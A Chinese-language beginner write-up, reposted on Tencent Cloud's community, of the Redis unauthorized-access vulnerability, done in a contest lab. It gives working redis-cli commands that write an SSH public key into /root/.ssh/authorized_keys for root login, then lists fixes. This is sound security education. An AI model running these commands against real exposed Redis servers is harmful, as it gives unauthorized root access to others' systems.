首页
学习
活动
专区
工具
TVP
发布

07v8第8篇技术分享 Redis未授权访问漏洞

欢迎关注:07v8论安全,技术干货等你来

这是07v8的第8篇技术文章,希望对你有用

Redis未授权访问漏洞

作者:@NewB1e

* 本文参与双dan投稿活动

之前搭的环境试着玩的,写得很入门,将就一下吧

——NewB1e

前言

Redis未授权访问漏洞是一个很经典的漏洞了,爆出来也已经很长时间了,当然我听说的时候也已经很晚了,也一直没有亲自动手实验过,正好前段时间表哥组织的渗透比赛里放了个实验环境,就试了试。现在网上关于此的文章也已经很多,我这里也是大部分搬自别人的,随便写写吧,有兴趣的可以自己搭建环境尝试一下~

漏洞概述

Redis默认情况下,会绑定在0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞描述

Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。

Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器(导致可以执行任何操作)。

漏洞影响

Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。

漏洞利用

下面简要写写实验过程,因为表哥貌似把环境关了,所以部分图来自网络,不过过程都差不多~

本地生成公钥私钥

$ssh-keygen –t rsa

生成的公私钥文件默认在/root/.ssh 文件夹下,我们打开这个文件夹。

将公钥写进一个文件

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

链接Redis写入文件

$ cat foo.txt redis-cli -h 192.168.1.11 -x set crackit

$ redis-cli -h 192.168.1.11

$ 192.168.1.11:6379> config set dir /root/.ssh/

OK

$ 192.168.1.11:6379> config get dir

1) "dir"

2) "/root/.ssh"

$ 192.168.1.11:6379> config set dbfilename "authorized_keys"

OK

$ 192.168.1.11:6379> save

OK

这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件。

远程登录服务器

$ ssh 192.168.1.11

登陆之后该怎么做就不用我说了。下面是我拿到的flag~

修复建议

1.配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.

2.配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.

3.配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度

4.好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config

07v8 Double-S说

本文作者在文中非常详细地阐述了Redis未授权访问漏洞、复现以及给出了修复建议,希望大家能有所收获。

同时感谢作者NewB1e的分享,以及对07V8的支持,请继续关注!

更多干货,敬请关注

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180105G0P8I900?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券